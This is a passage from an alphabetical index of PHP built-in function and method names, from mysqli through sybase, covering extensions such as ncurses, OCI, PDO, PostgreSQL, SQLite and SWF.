mysqli->real_escape_string()
mysqli->real_query()
mysqli->rollback()
mysqli->rpl_query_type()
mysqli->select_db()
mysqli->send_query()
mysqli->server_info()
mysqli->sqlstate()
mysqli->ssl_set()
mysqli->stat()
mysqli->stmt_init()
mysqli->store_result()
mysqli->thread_id()
mysqli->use_result()
mysqli->warning_count()
mysqli_affected_rows()
mysqli_autocommit()
mysqli_bind_param()
mysqli_bind_result()
mysqli_change_user()
mysqli_character_set_name()
mysqli_client_encoding()
mysqli_close()
mysqli_commit()
mysqli_connect()
mysqli_connect_errno()
mysqli_connect_error()
mysqli_data_seek()
mysqli_debug()
mysqli_disable_reads_from_master()
mysqli_disable_rpl_parse()
mysqli_dump_debug_info()
mysqli_embedded_connect()
mysqli_enable_reads_from_master()
mysqli_enable_rpl_parse()
mysqli_errno()
mysqli_error()
mysqli_escape_string()
mysqli_execute()
mysqli_fetch()
mysqli_fetch_array()
mysqli_fetch_assoc()
mysqli_fetch_field()
mysqli_fetch_field_direct()
mysqli_fetch_fields()
mysqli_fetch_lengths()
mysqli_fetch_object()
mysqli_fetch_row()
mysqli_field_count()
mysqli_field_seek()
mysqli_field_tell()
mysqli_free_result()
mysqli_get_client_info()
mysqli_get_client_version()
mysqli_get_host_info()
mysqli_get_metadata()
mysqli_get_proto_info()
mysqli_get_server_info()
mysqli_get_server_version()
mysqli_info()
mysqli_init()
mysqli_insert_id()
mysqli_kill()
mysqli_master_query()
mysqli_more_results()
mysqli_multi_query()
mysqli_next_result()
mysqli_num_fields()
mysqli_num_rows()
mysqli_options()
mysqli_param_count()
mysqli_ping()
mysqli_prepare()
mysqli_query()
mysqli_real_connect()
mysqli_real_escape_string()
mysqli_real_query()
mysqli_report()
mysqli_rollback()
mysqli_rpl_parse_enabled()
mysqli_rpl_probe()
mysqli_rpl_query_type()
mysqli_select_db()
mysqli_send_long_data()
mysqli_send_query()
mysqli_server_end()
mysqli_server_init()
mysqli_set_opt()
mysqli_sqlstate()
mysqli_ssl_set()
mysqli_stat()
mysqli_stmt->affected_rows()
mysqli_stmt->close()
mysqli_stmt->errno()
mysqli_stmt->error()
mysqli_stmt->store_result()
mysqli_stmt_affected_rows()
mysqli_stmt_bind_param()
mysqli_stmt_bind_result()
mysqli_stmt_close()
mysqli_stmt_data_seek()
mysqli_stmt_errno()
mysqli_stmt_error()
mysqli_stmt_execute()
mysqli_stmt_fetch()
mysqli_stmt_free_result()
mysqli_stmt_init()
mysqli_stmt_num_rows()
mysqli_stmt_param_count()
mysqli_stmt_prepare()
mysqli_stmt_reset()
mysqli_stmt_result_metadata()
mysqli_stmt_send_long_data()
mysqli_stmt_sqlstate()
mysqli_stmt_store_result()
mysqli_store_result()
mysqli_thread_id()
mysqli_thread_safe()
mysqli_use_result()
mysqli_warning_count()

N

natcasesort()
natsort()
ncurses_addch()
ncurses_addchnstr()
ncurses_addchstr()
ncurses_addnstr()
ncurses_addstr()
ncurses_assume_default_colors()
ncurses_attroff()
ncurses_attron()
ncurses_attrset()
ncurses_baudrate()
ncurses_beep()
ncurses_bkgd()
ncurses_bkgdset()
ncurses_border()
ncurses_bottom_panel()
ncurses_can_change_color()
ncurses_cbreak()
ncurses_clear()
ncurses_clrtobot()
ncurses_clrtoeol()
ncurses_color_content()
ncurses_color_set()
ncurses_curs_set()
ncurses_def_prog_mode()
ncurses_def_shell_mode()
ncurses_define_key()
ncurses_del_panel()
ncurses_delay_output()
ncurses_delch()
ncurses_deleteln()
ncurses_delwin()
ncurses_doupdate()
ncurses_echo()
ncurses_echochar()
ncurses_end()
ncurses_erase()
ncurses_erasechar()
ncurses_filter()
ncurses_flash()
ncurses_flushinp()
ncurses_getch()
ncurses_getmaxyx()
ncurses_getmouse()
ncurses_getyx()
ncurses_halfdelay()
ncurses_has_colors()
ncurses_has_ic()
ncurses_has_il()
ncurses_has_key()
ncurses_hide_panel()
ncurses_hline()
ncurses_inch()
ncurses_init()
ncurses_init_color()
ncurses_init_pair()
ncurses_insch()
ncurses_insdelln()
ncurses_insertln()
ncurses_insstr()
ncurses_instr()
ncurses_isendwin()
ncurses_keyok()
ncurses_keypad()
ncurses_killchar()
ncurses_longname()
ncurses_meta()
ncurses_mouse_trafo()
ncurses_mouseinterval()
ncurses_mousemask()
ncurses_move()
ncurses_move_panel()
ncurses_mvaddch()
ncurses_mvaddchnstr()
ncurses_mvaddchstr()
ncurses_mvaddnstr()
ncurses_mvaddstr()
ncurses_mvcur()
ncurses_mvdelch()
ncurses_mvgetch()
ncurses_mvhline()
ncurses_mvinch()
ncurses_mvvline()
ncurses_mvwaddstr()
ncurses_napms()
ncurses_new_panel()
ncurses_newpad()
ncurses_newwin()
ncurses_nl()
ncurses_nocbreak()
ncurses_noecho()
ncurses_nonl()
ncurses_noqiflush()
ncurses_noraw()
ncurses_pair_content()
ncurses_panel_above()
ncurses_panel_below()
ncurses_panel_window()
ncurses_pnoutrefresh()
ncurses_prefresh()
ncurses_putp()
ncurses_qiflush()
ncurses_raw()
ncurses_refresh()
ncurses_replace_panel()
ncurses_reset_prog_mode()
ncurses_reset_shell_mode()
ncurses_resetty()
ncurses_savetty()
ncurses_scr_dump()
ncurses_scr_init()
ncurses_scr_restore()
ncurses_scr_set()
ncurses_scrl()
ncurses_show_panel()
ncurses_slk_attr()
ncurses_slk_attroff()
ncurses_slk_attron()
ncurses_slk_attrset()
ncurses_slk_clear()
ncurses_slk_color()
ncurses_slk_init()
ncurses_slk_noutrefresh()
ncurses_slk_refresh()
ncurses_slk_restore()
ncurses_slk_set()
ncurses_slk_touch()
ncurses_standend()
ncurses_standout()
ncurses_start_color()
ncurses_termattrs()
ncurses_termname()
ncurses_timeout()
ncurses_top_panel()
ncurses_typeahead()
ncurses_ungetch()
ncurses_ungetmouse()
ncurses_update_panels()
ncurses_use_default_colors()
ncurses_use_env()
ncurses_use_extended_names()
ncurses_vidattr()
ncurses_vline()
ncurses_waddch()
ncurses_waddstr()
ncurses_wattroff()
ncurses_wattron()
ncurses_wattrset()
ncurses_wborder()
ncurses_wclear()
ncurses_wcolor_set()
ncurses_werase()
ncurses_wgetch()
ncurses_whline()
ncurses_wmouse_trafo()
ncurses_wmove()
ncurses_wnoutrefresh()
ncurses_wrefresh()
ncurses_wstandend()
ncurses_wstandout()
ncurses_wvline()
next()
ngettext()
nl2br()
nl_langinfo()
notes_body()
notes_copy_db()
notes_create_db()
notes_create_note()
notes_drop_db()
notes_find_note()
notes_header_info()
notes_list_msgs()
notes_mark_read()
notes_mark_unread()
notes_nav_create()
notes_search()
notes_unread()
notes_version()
nsapi_request_headers()
nsapi_response_headers()
nsapi_virtual()
number_format()

O

ob_clean()
ob_end_clean()
ob_end_flush()
ob_flush()
ob_get_clean()
ob_get_contents()
ob_get_flush()
ob_get_length()
ob_get_level()
ob_get_status()
ob_gzhandler()
ob_iconv_handler()
ob_implicit_flush()
ob_list_handlers()
ob_start()
ob_tidyhandler()
OCI-Collection->append()
OCI-Collection->assign()
OCI-Collection->assignElem()
OCI-Collection->free()
OCI-Collection->getElem()
OCI-Collection->max()
OCI-Collection->size()
OCI-Collection->trim()
oci_bind_by_name()
oci_cancel()
oci_close()
oci_commit()
oci_connect()
oci_define_by_name()
oci_error()
oci_execute()
oci_fetch()
oci_fetch_all()
oci_fetch_array()
oci_fetch_assoc()
oci_fetch_object()
oci_fetch_row()
oci_field_is_null()
oci_field_name()
oci_field_precision()
oci_field_scale()
oci_field_size()
oci_field_type()
oci_field_type_raw()
oci_free_statement()
oci_internal_debug()
oci_lob_copy()
oci_lob_is_equal()
oci_new_collection()
oci_new_connect()
oci_new_cursor()
oci_new_descriptor()
oci_num_fields()
oci_num_rows()
oci_parse()
oci_password_change()
oci_pconnect()
oci_result()
oci_rollback()
oci_server_version()
oci_set_prefetch()
oci_statement_type()
ocibindbyname()
ocicancel()
ocicloselob()
ocicollappend()
ocicollassign()
ocicollassignelem()
ocicollgetelem()
ocicollmax()
ocicollsize()
ocicolltrim()
ocicolumnisnull()
ocicolumnname()
ocicolumnprecision()
ocicolumnscale()
ocicolumnsize()
ocicolumntype()
ocicolumntyperaw()
ocicommit()
ocidefinebyname()
ocierror()
ociexecute()
ocifetch()
ocifetchinto()
ocifetchstatement()
ocifreecollection()
ocifreecursor()
ocifreedesc()
ocifreestatement()
ociinternaldebug()
ociloadlob()
ocilogoff()
ocilogon()
ocinewcollection()
ocinewcursor()
ocinewdescriptor()
ocinlogon()
ocinumcols()
ociparse()
ociplogon()
ociresult()
ocirollback()
ocirowcount()
ocisavelob()
ocisavelobfile()
ociserverversion()
ocisetprefetch()
ocistatementtype()
ociwritelobtofile()
ociwritetemporarylob()
octdec()
odbc_autocommit()
odbc_binmode()
odbc_close()
odbc_close_all()
odbc_columnprivileges()
odbc_columns()
odbc_commit()
odbc_connect()
odbc_cursor()
odbc_data_source()
odbc_do()
odbc_error()
odbc_errormsg()
odbc_exec()
odbc_execute()
odbc_fetch_array()
odbc_fetch_into()
odbc_fetch_object()
odbc_fetch_row()
odbc_field_len()
odbc_field_name()
odbc_field_num()
odbc_field_precision()
odbc_field_scale()
odbc_field_type()
odbc_foreignkeys()
odbc_free_result()
odbc_gettypeinfo()
odbc_longreadlen()
odbc_next_result()
odbc_num_fields()
odbc_num_rows()
odbc_pconnect()
odbc_prepare()
odbc_primarykeys()
odbc_procedurecolumns()
odbc_procedures()
odbc_result()
odbc_result_all()
odbc_rollback()
odbc_setoption()
odbc_specialcolumns()
odbc_statistics()
odbc_tableprivileges()
odbc_tables()
openal_buffer_create()
openal_buffer_data()
openal_buffer_destroy()
openal_buffer_get()
openal_buffer_loadwav()
openal_context_create()
openal_context_current()
openal_context_destroy()
openal_context_process()
openal_context_suspend()
openal_device_close()
openal_device_open()
openal_listener_get()
openal_listener_set()
openal_source_create()
openal_source_destroy()
openal_source_get()
openal_source_pause()
openal_source_play()
openal_source_rewind()
openal_source_set()
openal_source_stop()
openal_stream()
opendir()
openlog()
openssl_csr_export()
openssl_csr_export_to_file()
openssl_csr_new()
openssl_csr_sign()
openssl_error_string()
openssl_free_key()
openssl_get_privatekey()
openssl_get_publickey()
openssl_open()
openssl_pkcs7_decrypt()
openssl_pkcs7_encrypt()
openssl_pkcs7_sign()
openssl_pkcs7_verify()
openssl_pkey_export()
openssl_pkey_export_to_file()
openssl_pkey_get_private()
openssl_pkey_get_public()
openssl_pkey_new()
openssl_private_decrypt()
openssl_private_encrypt()
openssl_public_decrypt()
openssl_public_encrypt()
openssl_seal()
openssl_sign()
openssl_verify()
openssl_x509_check_private_key()
openssl_x509_checkpurpose()
openssl_x509_export()
openssl_x509_export_to_file()
openssl_x509_free()
openssl_x509_parse()
openssl_x509_read()
ora_bind()
ora_close()
ora_columnname()
ora_columnsize()
ora_columntype()
ora_commit()
ora_commitoff()
ora_commiton()
ora_do()
ora_error()
ora_errorcode()
ora_exec()
ora_fetch()
ora_fetch_into()
ora_getcolumn()
ora_logoff()
ora_logon()
ora_numcols()
ora_numrows()
ora_open()
ora_parse()
ora_plogon()
ora_rollback()
ord()
output_add_rewrite_var()
output_reset_rewrite_vars()
overload()
override_function()
ovrimos_close()
ovrimos_commit()
ovrimos_connect()
ovrimos_cursor()
ovrimos_exec()
ovrimos_execute()
ovrimos_fetch_into()
ovrimos_fetch_row()
ovrimos_field_len()
ovrimos_field_name()
ovrimos_field_num()
ovrimos_field_type()
ovrimos_free_result()
ovrimos_longreadlen()
ovrimos_num_fields()
ovrimos_num_rows()
ovrimos_prepare()
ovrimos_result()
ovrimos_result_all()
ovrimos_rollback()

P

pack()
ParentIterator::getChildren()
ParentIterator::hasChildren()
ParentIterator::next()
ParentIterator::rewind()
parse_ini_file()
parse_str()
parse_url()
parsekit_compile_file()
parsekit_compile_string()
parsekit_func_arginfo()
passthru()
pathinfo()
pclose()
pcntl_alarm()
pcntl_exec()
pcntl_fork()
pcntl_getpriority()
pcntl_setpriority()
pcntl_signal()
pcntl_wait()
pcntl_waitpid()
pcntl_wexitstatus()
pcntl_wifexited()
pcntl_wifsignaled()
pcntl_wifstopped()
pcntl_wstopsig()
pcntl_wtermsig()
pdf_add_annotation()
pdf_add_bookmark()
pdf_add_launchlink()
pdf_add_locallink()
pdf_add_note()
pdf_add_outline()
pdf_add_pdflink()
pdf_add_thumbnail()
pdf_add_weblink()
pdf_arc()
pdf_arcn()
pdf_attach_file()
pdf_begin_page()
pdf_begin_pattern()
pdf_begin_template()
pdf_circle()
pdf_clip()
pdf_close()
pdf_close_image()
pdf_close_pdi()
pdf_close_pdi_page()
pdf_closepath()
pdf_closepath_fill_stroke()
pdf_closepath_stroke()
pdf_concat()
pdf_continue_text()
pdf_curveto()
pdf_delete()
pdf_end_page()
pdf_end_pattern()
pdf_end_template()
pdf_endpath()
pdf_fill()
pdf_fill_stroke()
pdf_findfont()
pdf_get_buffer()
pdf_get_font()
pdf_get_fontname()
pdf_get_fontsize()
pdf_get_image_height()
pdf_get_image_width()
pdf_get_majorversion()
pdf_get_minorversion()
pdf_get_parameter()
pdf_get_pdi_parameter()
pdf_get_pdi_value()
pdf_get_value()
pdf_initgraphics()
pdf_lineto()
pdf_makespotcolor()
pdf_moveto()
pdf_new()
pdf_open()
pdf_open_ccitt()
pdf_open_file()
pdf_open_gif()
pdf_open_image()
pdf_open_image_file()
pdf_open_jpeg()
pdf_open_memory_image()
pdf_open_pdi()
pdf_open_pdi_page()
pdf_open_png()
pdf_open_tiff()
pdf_place_image()
pdf_place_pdi_page()
pdf_rect()
pdf_restore()
pdf_rotate()
pdf_save()
pdf_scale()
pdf_set_border_color()
pdf_set_border_dash()
pdf_set_border_style()
pdf_set_char_spacing()
pdf_set_duration()
pdf_set_font()
pdf_set_horiz_scaling()
pdf_set_info()
pdf_set_info_author()
pdf_set_info_creator()
pdf_set_info_keywords()
pdf_set_info_subject()
pdf_set_info_title()
pdf_set_leading()
pdf_set_parameter()
pdf_set_text_matrix()
pdf_set_text_pos()
pdf_set_text_rendering()
pdf_set_text_rise()
pdf_set_value()
pdf_set_word_spacing()
pdf_setcolor()
pdf_setdash()
pdf_setflat()
pdf_setfont()
pdf_setgray()
pdf_setgray_fill()
pdf_setgray_stroke()
pdf_setlinecap()
pdf_setlinejoin()
pdf_setlinewidth()
pdf_setmatrix()
pdf_setmiterlimit()
pdf_setpolydash()
pdf_setrgbcolor()
pdf_setrgbcolor_fill()
pdf_setrgbcolor_stroke()
pdf_show()
pdf_show_boxed()
pdf_show_xy()
pdf_skew()
pdf_stringwidth()
pdf_stroke()
pdf_translate()
PDO::__construct()
PDO::beginTransaction()
PDO::commit()
PDO::errorCode()
PDO::errorInfo()
PDO::exec()
PDO::lastInsertId()
PDO::prepare()
PDO::rollBack()
PDO::setAttribute()
PDOStatement::bindColumn()
PDOStatement::bindParam()
PDOStatement::errorCode()
PDOStatement::errorInfo()
PDOStatement::execute()
PDOStatement::fetch()
PDOStatement::fetchAll()
PDOStatement::fetchSingle()
PDOStatement::rowCount()
pfpro_cleanup()
pfpro_init()
pfpro_process()
pfpro_process_raw()
pfpro_version()
pfsockopen()
pg_affected_rows()
pg_cancel_query()
pg_client_encoding()
pg_close()
pg_connect()
pg_connection_busy()
pg_connection_reset()
pg_connection_status()
pg_convert()
pg_copy_from()
pg_copy_to()
pg_dbname()
pg_delete()
pg_end_copy()
pg_escape_bytea()
pg_escape_string()
pg_fetch_all()
pg_fetch_array()
pg_fetch_assoc()
pg_fetch_object()
pg_fetch_result()
pg_fetch_row()
pg_field_is_null()
pg_field_name()
pg_field_num()
pg_field_prtlen()
pg_field_size()
pg_field_type()
pg_free_result()
pg_get_notify()
pg_get_pid()
pg_get_result()
pg_host()
pg_insert()
pg_last_error()
pg_last_notice()
pg_last_oid()
pg_lo_close()
pg_lo_create()
pg_lo_export()
pg_lo_import()
pg_lo_open()
pg_lo_read()
pg_lo_read_all()
pg_lo_seek()
pg_lo_tell()
pg_lo_unlink()
pg_lo_write()
pg_meta_data()
pg_num_fields()
pg_num_rows()
pg_options()
pg_parameter_status()
pg_pconnect()
pg_ping()
pg_port()
pg_put_line()
pg_query()
pg_result_error()
pg_result_seek()
pg_result_status()
pg_select()
pg_send_query()
pg_set_client_encoding()
pg_trace()
pg_tty()
pg_unescape_bytea()
pg_untrace()
pg_update()
pg_version()
php_check_syntax()
php_ini_scanned_files()
php_logo_guid()
php_register_url_stream_wrapper()
php_sapi_name()
php_stream_can_cast()
php_stream_cast()
php_stream_close()
php_stream_closedir()
php_stream_copy_to_mem()
php_stream_copy_to_stream()
php_stream_eof()
php_stream_filter_register_factory()
php_stream_filter_unregister_factory()
php_stream_flush()
php_stream_fopen_from_file()
php_stream_fopen_temporary_file()
php_stream_fopen_tmpfile()
php_stream_getc()
php_stream_gets()
php_stream_is()
php_stream_is_persistent()
php_stream_make_seekable()
php_stream_open_wrapper()
php_stream_open_wrapper_as_file()
php_stream_open_wrapper_ex()
php_stream_opendir()
php_stream_passthru()
php_stream_read()
php_stream_readdir()
php_stream_rewinddir()
php_stream_seek()
php_stream_sock_open_from_socket()
php_stream_sock_open_host()
php_stream_sock_open_unix()
php_stream_stat()
php_stream_stat_path()
php_stream_tell()
php_stream_write()
php_strip_whitespace()
php_uname()
php_unregister_url_stream_wrapper()
phpcredits()
phpinfo()
phpversion()
pi()
png2wbmp()
popen()
pos()
posix_ctermid()
posix_get_last_error()
posix_getcwd()
posix_getegid()
posix_geteuid()
posix_getgid()
posix_getgrgid()
posix_getgrnam()
posix_getgroups()
posix_getlogin()
posix_getpgid()
posix_getpgrp()
posix_getpid()
posix_getppid()
posix_getpwnam()
posix_getpwuid()
posix_getrlimit()
posix_getsid()
posix_getuid()
posix_isatty()
posix_kill()
posix_mkfifo()
posix_setegid()
posix_seteuid()
posix_setgid()
posix_setpgid()
posix_setsid()
posix_setuid()
posix_strerror()
posix_times()
posix_ttyname()
posix_uname()
pow()
preg_grep()
preg_match()
preg_match_all()
preg_quote()
preg_replace()
preg_replace_callback()
preg_split()
prev()
print()
print_r()
printer_abort()
printer_close()
printer_create_brush()
printer_create_dc()
printer_create_font()
printer_create_pen()
printer_delete_brush()
printer_delete_dc()
printer_delete_font()
printer_delete_pen()
printer_draw_bmp()
printer_draw_chord()
printer_draw_elipse()
printer_draw_line()
printer_draw_pie()
printer_draw_rectangle()
printer_draw_roundrect()
printer_draw_text()
printer_end_doc()
printer_end_page()
printer_get_option()
printer_list()
printer_logical_fontheight()
printer_open()
printer_select_brush()
printer_select_font()
printer_select_pen()
printer_set_option()
printer_start_doc()
printer_start_page()
printer_write()
printf()
proc_close()
proc_get_status()
proc_nice()
proc_open()
proc_terminate()
pspell_add_to_personal()
pspell_add_to_session()
pspell_check()
pspell_clear_session()
pspell_config_create()
pspell_config_data_dir()
pspell_config_dict_dir()
pspell_config_ignore()
pspell_config_mode()
pspell_config_personal()
pspell_config_repl()
pspell_config_runtogether()
pspell_config_save_repl()
pspell_new()
pspell_new_config()
pspell_new_personal()
pspell_save_wordlist()
pspell_store_replacement()
pspell_suggest()
putenv()

Q

qdom_error()
qdom_tree()
quoted_printable_decode()
quotemeta()

R

rad2deg()
rand()
range()
Rar::extract()
Rar::getAttr()
Rar::getCrc()
Rar::getFileTime()
Rar::getHostOs()
Rar::getMethod()
Rar::getName()
Rar::getPackedSize()
Rar::getUnpackedSize()
Rar::getVersion()
rar_close()
rar_entry_get()
rar_list()
rar_open()
rawurldecode()
rawurlencode()
read_exif_data()
readdir()
readfile()
readgzfile()
readline()
readline_add_history()
readline_callback_handler_install()
readline_callback_handler_remove()
readline_callback_read_char()
readline_clear_history()
readline_completion_function()
readline_info()
readline_list_history()
readline_on_new_line()
readline_read_history()
readline_redisplay()
readline_write_history()
readlink()
realpath()
recode()
recode_file()
recode_string()
RecursiveDirectoryIterator::getChildren()
RecursiveDirectoryIterator::hasChildren()
RecursiveDirectoryIterator::key()
RecursiveDirectoryIterator::next()
RecursiveDirectoryIterator::rewind()
RecursiveIteratorIterator::current()
RecursiveIteratorIterator::getDepth()
RecursiveIteratorIterator::getSubIterator()
RecursiveIteratorIterator::key()
RecursiveIteratorIterator::next()
RecursiveIteratorIterator::rewind()
RecursiveIteratorIterator::valid()
register_shutdown_function()
register_tick_function()
rename()
rename_function()
reset()
restore_error_handler()
restore_exception_handler()
restore_include_path()
result->current_field()
result->data_seek()
result->fetch_array()
result->fetch_field()
result->fetch_field_direct()
result->fetch_fields()
result->fetch_object()
result->fetch_row()
result->field_count()
result->field_seek()
result->free()
result->lengths()
rewind()
rewinddir()
rmdir()
round()
rsort()
rtrim()

S

scandir()
sem_acquire()
sem_get()
sem_release()
sem_remove()
serialize()
sesam_affected_rows()
sesam_commit()
sesam_connect()
sesam_diagnostic()
sesam_disconnect()
sesam_errormsg()
sesam_execimm()
sesam_fetch_array()
sesam_fetch_result()
sesam_fetch_row()
sesam_field_array()
sesam_field_name()
sesam_free_result()
sesam_num_fields()
sesam_query()
sesam_rollback()
sesam_seek_row()
sesam_settransaction()
session_cache_expire()
session_cache_limiter()
session_commit()
session_decode()
session_destroy()
session_encode()
session_get_cookie_params()
session_id()
session_is_registered()
session_module_name()
session_name()
session_regenerate_id()
session_register()
session_save_path()
session_set_cookie_params()
session_set_save_handler()
session_start()
session_unregister()
session_unset()
session_write_close()
set_error_handler()
set_exception_handler()
set_file_buffer()
set_include_path()
set_magic_quotes_runtime()
set_time_limit()
setcookie()
setlocale()
setrawcookie()
settype()
sha1()
sha1_file()
shell_exec()
shm_attach()
shm_detach()
shm_get_var()
shm_put_var()
shm_remove()
shm_remove_var()
shmop_close()
shmop_delete()
shmop_open()
shmop_read()
shmop_size()
shmop_write()
show_source()
shuffle()
similar_text()
simplexml_import_dom()
simplexml_load_file()
simplexml_load_string()
SimpleXMLElement->asXML()
SimpleXMLElement->attributes()
SimpleXMLElement->children()
SimpleXMLElement->xpath()
SimpleXMLIterator::current()
SimpleXMLIterator::getChildren()
SimpleXMLIterator::hasChildren()
SimpleXMLIterator::key()
SimpleXMLIterator::next()
SimpleXMLIterator::rewind()
SimpleXMLIterator::valid()
sin()
sinh()
sizeof()
sleep()
snmp_get_quick_print()
snmp_get_valueretrieval()
snmp_read_mib()
snmp_set_enum_print()
snmp_set_oid_numeric_print()
snmp_set_quick_print()
snmp_set_valueretrieval()
snmpget()
snmpgetnext()
snmprealwalk()
snmpset()
snmpwalk()
snmpwalkoid()
SoapClient::__call()
SoapClient::__getFunctions()
SoapClient::__getLastRequest()
SoapClient::__getLastResponse()
SoapClient::__getTypes()
SoapClient::SoapClient()
SoapFault::SoapFault()
SoapHeader::SoapHeader()
SoapParam::SoapParam()
SoapServer::addFunction()
SoapServer::getFunctions()
SoapServer::handle()
SoapServer::setClass()
SoapServer::setPersistence()
SoapServer::SoapServer()
SoapVar::SoapVar()
socket_accept()
socket_bind()
socket_clear_error()
socket_close()
socket_connect()
socket_create()
socket_create_listen()
socket_create_pair()
socket_get_option()
socket_get_status()
socket_getpeername()
socket_getsockname()
socket_last_error()
socket_listen()
socket_read()
socket_recv()
socket_recvfrom()
socket_select()
socket_send()
socket_sendto()
socket_set_block()
socket_set_blocking()
socket_set_nonblock()
socket_set_option()
socket_set_timeout()
socket_shutdown()
socket_strerror()
socket_write()
sort()
soundex()
spl_classes()
split()
spliti()
sprintf()
sql_regcase()
sqlite_array_query()
sqlite_busy_timeout()
sqlite_changes()
sqlite_close()
sqlite_column()
sqlite_create_aggregate()
sqlite_create_function()
sqlite_current()
sqlite_error_string()
sqlite_escape_string()
sqlite_exec()
sqlite_factory()
sqlite_fetch_all()
sqlite_fetch_array()
sqlite_fetch_column_types()
sqlite_fetch_object()
sqlite_fetch_single()
sqlite_fetch_string()
sqlite_field_name()
sqlite_has_more()
sqlite_has_prev()
sqlite_last_error()
sqlite_last_insert_rowid()
sqlite_libencoding()
sqlite_libversion()
sqlite_next()
sqlite_num_fields()
sqlite_num_rows()
sqlite_open()
sqlite_popen()
sqlite_prev()
sqlite_query()
sqlite_rewind()
sqlite_seek()
sqlite_single_query()
sqlite_udf_decode_binary()
sqlite_udf_encode_binary()
sqlite_unbuffered_query()
sqrt()
srand()
sscanf()
ssh2_auth_none()
ssh2_auth_password()
ssh2_auth_pubkey_file()
ssh2_connect()
ssh2_exec()
ssh2_fetch_stream()
ssh2_fingerprint()
ssh2_methods_negotiated()
ssh2_scp_recv()
ssh2_scp_send()
ssh2_sftp()
ssh2_sftp_lstat()
ssh2_sftp_mkdir()
ssh2_sftp_readlink()
ssh2_sftp_realpath()
ssh2_sftp_rename()
ssh2_sftp_rmdir()
ssh2_sftp_stat()
ssh2_sftp_symlink()
ssh2_sftp_unlink()
ssh2_shell()
ssh2_tunnel()
stat()
stmt->bind_param()
stmt->bind_result()
stmt->data_seek()
stmt->execute()
stmt->fetch()
stmt->free_result()
stmt->num_rows()
stmt->param_count()
stmt->prepare()
stmt->reset()
stmt->send_long_data()
str_ireplace()
str_pad()
str_repeat()
str_replace()
str_rot13()
str_shuffle()
str_split()
str_word_count()
strcasecmp()
strchr()
strcmp()
strcoll()
strcspn()
stream_context_create()
stream_context_get_default()
stream_context_get_options()
stream_context_set_option()
stream_context_set_params()
stream_copy_to_stream()
stream_filter_append()
stream_filter_prepend()
stream_filter_register()
stream_filter_remove()
stream_get_contents()
stream_get_filters()
stream_get_line()
stream_get_meta_data()
stream_get_transports()
stream_get_wrappers()
stream_register_wrapper()
stream_select()
stream_set_blocking()
stream_set_timeout()
stream_set_write_buffer()
stream_socket_accept()
stream_socket_client()
stream_socket_enable_crypto()
stream_socket_get_name()
stream_socket_pair()
stream_socket_recvfrom()
stream_socket_sendto()
stream_socket_server()
stream_wrapper_register()
stream_wrapper_restore()
stream_wrapper_unregister()
strftime()
strip_tags()
stripcslashes()
stripos()
stripslashes()
stristr()
strlen()
strnatcasecmp()
strnatcmp()
strncasecmp()
strncmp()
strpbrk()
strpos()
strptime()
strrchr()
strrev()
strripos()
strrpos()
strspn()
strstr()
strtok()
strtolower()
strtotime()
strtoupper()
strtr()
strval()
substr()
substr_compare()
substr_count()
substr_replace()
swf_actiongeturl()
swf_actiongotoframe()
swf_actiongotolabel()
swf_actionnextframe()
swf_actionplay()
swf_actionprevframe()
swf_actionsettarget()
swf_actionstop()
swf_actiontogglequality()
swf_actionwaitforframe()
swf_addbuttonrecord()
swf_addcolor()
swf_closefile()
swf_definebitmap()
swf_definefont()
swf_defineline()
swf_definepoly()
swf_definerect()
swf_definetext()
swf_endbutton()
swf_enddoaction()
swf_endshape()
swf_endsymbol()
swf_fontsize()
swf_fontslant()
swf_fonttracking()
swf_getbitmapinfo()
swf_getfontinfo()
swf_getframe()
swf_labelframe()
swf_lookat()
swf_modifyobject()
swf_mulcolor()
swf_nextid()
swf_oncondition()
swf_openfile()
swf_ortho()
swf_ortho2()
swf_perspective()
swf_placeobject()
swf_polarview()
swf_popmatrix()
swf_posround()
swf_pushmatrix()
swf_removeobject()
swf_rotate()
swf_scale()
swf_setfont()
swf_setframe()
swf_shapearc()
swf_shapecurveto()
swf_shapecurveto3()
swf_shapefillbitmapclip()
swf_shapefillbitmaptile()
swf_shapefilloff()
swf_shapefillsolid()
swf_shapelinesolid()
swf_shapelineto()
swf_shapemoveto()
swf_showframe()
swf_startbutton()
swf_startdoaction()
swf_startshape()
swf_startsymbol()
swf_textwidth()
swf_translate()
swf_viewport()
swfaction()
swfbitmap()
SWFBitmap->getHeight()
SWFBitmap->getWidth()
swfbutton()
SWFbutton->addAction()
SWFbutton->addShape()
SWFbutton->setAction()
SWFbutton->setdown()
SWFbutton->setHit()
SWFbutton->setOver()
SWFbutton->setUp()
swfbutton_keypress()
swfdisplayitem()
SWFDisplayItem->addColor()
SWFDisplayItem->move()
SWFDisplayItem->moveTo()
SWFDisplayItem->multColor()
SWFDisplayItem->remove()
SWFDisplayItem->Rotate()
SWFDisplayItem->rotateTo()
SWFDisplayItem->scale()
SWFDisplayItem->scaleTo()
SWFDisplayItem->setDepth()
SWFDisplayItem->setName()
SWFDisplayItem->setRatio()
SWFDisplayItem->skewX()
SWFDisplayItem->skewXTo()
SWFDisplayItem->skewY()
SWFDisplayItem->skewYTo()
swffill()
SWFFill->moveTo()
SWFFill->rotateTo()
SWFFill->scaleTo()
SWFFill->skewXTo()
SWFFill->skewYTo()
swffont()
swffont->getwidth()
swfgradient()
SWFGradient->addEntry()
swfmorph()
SWFMorph->getshape1()
SWFMorph->getshape2()
swfmovie()
SWFMovie->add()
SWFMovie->nextframe()
SWFMovie->output()
swfmovie->remove()
SWFMovie->save()
SWFMovie->setbackground()
SWFMovie->setdimension()
SWFMovie->setframes()
SWFMovie->setrate()
SWFMovie->streammp3()
swfshape()
SWFShape->addFill()
SWFShape->drawCurve()
SWFShape->drawCurveTo()
SWFShape->drawLine()
SWFShape->drawLineTo()
SWFShape->movePen()
SWFShape->movePenTo()
SWFShape->setLeftFill()
SWFShape->setLine()
SWFShape->setRightFill()
swfsprite()
swfsprite->add()
SWFSprite->nextframe()
SWFSprite->remove()
SWFSprite->setframes()
swftext()
SWFText->addString()
SWFText->getWidth()
SWFText->moveTo()
SWFText->setColor()
SWFText->setFont()
SWFText->setHeight()
SWFText->setSpacing()
swftextfield()
SWFTextField->addstring()
SWFTextField->align()
SWFTextField->setbounds()
SWFTextField->setcolor()
SWFTextField->setFont()
SWFTextField->setHeight()
SWFTextField->setindentation()
SWFTextField->setLeftMargin()
SWFTextField->setLineSpacing()
SWFTextField->setMargins()
SWFTextField->setname()
SWFTextField->setrightMargin()
sybase_affected_rows()
sybase_close()
sybase_connect()
sybase_data_seek()
sybase_deadlock_retry_count()
sybase_fetch_array()
sybase_fetch_assoc()
sybase_fetch_field()
sybase_fetch_object()
sybase_fetch_row()
